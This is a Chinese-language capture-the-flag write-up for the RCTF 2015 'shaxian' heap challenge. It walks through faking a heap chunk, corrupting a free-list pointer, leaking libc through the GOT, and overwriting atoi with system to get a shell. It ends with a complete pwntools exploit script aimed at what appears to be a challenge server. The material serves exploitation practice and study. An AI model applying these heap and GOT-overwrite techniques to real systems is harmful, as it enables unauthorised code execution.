RCTF-2015-shaxian
保护检查
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
代码分析
sub_80487F7() > init
int sub_80487F7()
{
puts("Your Address:");
sub_804865D(0, (int)&unk_804B1E0, 256, 10);
puts("Your Phone number:");
sub_804865D(0, (int)&unk_804B0C0, 256, 10);
return puts("Thank you.");
}
主要记下这几个地址,后面可能会用到 addr_804B1E0 number_804B0C0
sub_80486CD() > GetNumber
主要是使用atoi将我们的输入变成数字
sub_80488AF() > order
同时我们知道了 ptr_804B1C0 count_804B2E0
sub_80489C0() > submit
sub_804886B() > taitou
int sub_804886B()
{
printf("Taitou:");
Read(0, (int)&unk_804B300, 256, 10);
return puts("Taitou saved");
}
记下了有 taitoi_804B300
sub_8048A20() > show
思路
操作用python描述就是
def init(addr,number):
sh.sendlineafter("Your Address:\n",addr)
sh.sendlineafter("Your Phone number:\n",number)
def order(text,number):
sh.sendlineafter("choose:","1")
sh.sendlineafter("5.Jianjiao",text)
sh.sendlineafter("How many?\n",str(number))
def delete():
sh.sendlineafter("choose:","2")
def title(text):
sh.sendlineafter("choose:","3")
sh.sendlineafter("Taitou:",text)
def show():
sh.sendlineafter("choose:","4")
我们有以下几个地址,从小到大是
<ADDR> |
---|
number_804B0C0 |
ptr_804B1C0 |
addr_804B1E0 |
count_804B2E0 |
taitoi_804B300 |
- chunk 可以覆盖 记录上一个chunk的地址
- 改变 ptr_804B1C0 可以通过
order()
修改 *ptr_804B1C0 -
submit()
几乎可以free任何地址 -
show()
可以打印被覆盖的 v1[9]
1-在number_804B0C0后 ptr_804B1C0前 伪造chunk,在修改chunk[9]将其改为fake_chunk,再用submit就可以修改ptr_804B1C0,但是因为submit()
是一次性释放所有堆块,所以修改fd指针可能会好些
2- 修改chunk[9]再打印,泄露libc_base
3- order()
一次,修改*ptr_804B1C0 为system
4-输入binsh来getshell
调试
1-伪造chunk
init("joe1sn","1"*(0x100-0x10)+p32(0x0)+p32(0x31))
因为order
中是 malloc(0x28),所以伪造的大小是 0x31
2- 修改chunk[9]再打印,泄露libc_base,同时修改fd
order("2"*0x10,1)
order("2"*0x10,2)
order("2"*0x10,3)
delete()
order("B"*0x20+p32(elf.got["puts"]-4)+p32(0)+p32(0x31)+p32(0x804B1C0-0x10),100)
show()
sh.recvuntil("100\n")
puts = u32(sh.recv(4))
libc = LibcSearcher("puts",puts)
libc_base = puts-libc.dump("puts")
system = libc_base + libc.dump("system")
[+] archive-old-glibc (id libc6-i386_2.21-0ubuntu4_amd64) be choosed.
[+] puts ==> 0xf7df7cb0
[+] libc base ==> 0xf7d96000
[+] _libc_system ==> 0xf7dd0cd0
3- order()
一次,修改*ptr_804B1C0 为system
order("fakefake",4)
这时
order("3333"+p32(elf.got["atoi"]),str(system- 0x100000000))
这是 atoi@got
被我们修改为_libc_system
,程序再次调用 atoi@got
就是调用_libc_system
4-getshell
GetNumber()
刚好使用了atoi
sh.sendline("/bin/sh\x00")
sh.interactive()
完整EXP
from pwn import *
from LibcSearcher import *
elf = ELF("RCTF-2015-shaxian")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
sh = 0
def init(addr,number):
sh.sendlineafter("Your Address:\n",addr)
sh.sendlineafter("Your Phone number:\n",number)
def order(text,number):
sh.sendlineafter("choose:","1")
sh.sendlineafter("5.Jianjiao",text)
sh.sendlineafter("How many?\n",str(number))
def delete():
sh.sendlineafter("choose:","2")
def title(text):
sh.sendlineafter("choose:","3")
sh.sendlineafter("Taitou:",text)
def show():
sh.sendlineafter("choose:","4")
def main(ip,port,debug,mode):
global sh
if debug==0:
context.log_level = "debug"
else:
pass
if mode==0:
sh = process("RCTF-2015-shaxian")
else:
sh = remote(ip,port)
#leak
init("joe1sn","1"*(0x100-0x10)+p32(0x0)+p32(0x31))
order("2"*0x10,1)
order("2"*0x10,2)
order("2"*0x10,3)
delete()
order("B"*0x20+p32(elf.got["puts"]-4)+p32(0)+p32(0x31)+p32(0x804B1C0-0x10),100)
show()
gdb.attach(sh)
sh.recvuntil("100\n")
puts = u32(sh.recv(4))
libc = LibcSearcher("puts",puts)
libc_base = puts-libc.dump("puts")
system = libc_base + libc.dump("system")
success("puts ==> "+hex(puts))
success("libc base ==> "+hex(libc_base))
success("_libc_system ==> "+hex((system)))
#fake
order("fakefake",4)
order("3333"+p32(elf.got["atoi"]),str(system- 0x100000000))
sh.sendline("/bin/sh\x00")
sh.interactive()
if __name__ == '__main__':
main("220.249.52.133","47889",0,0)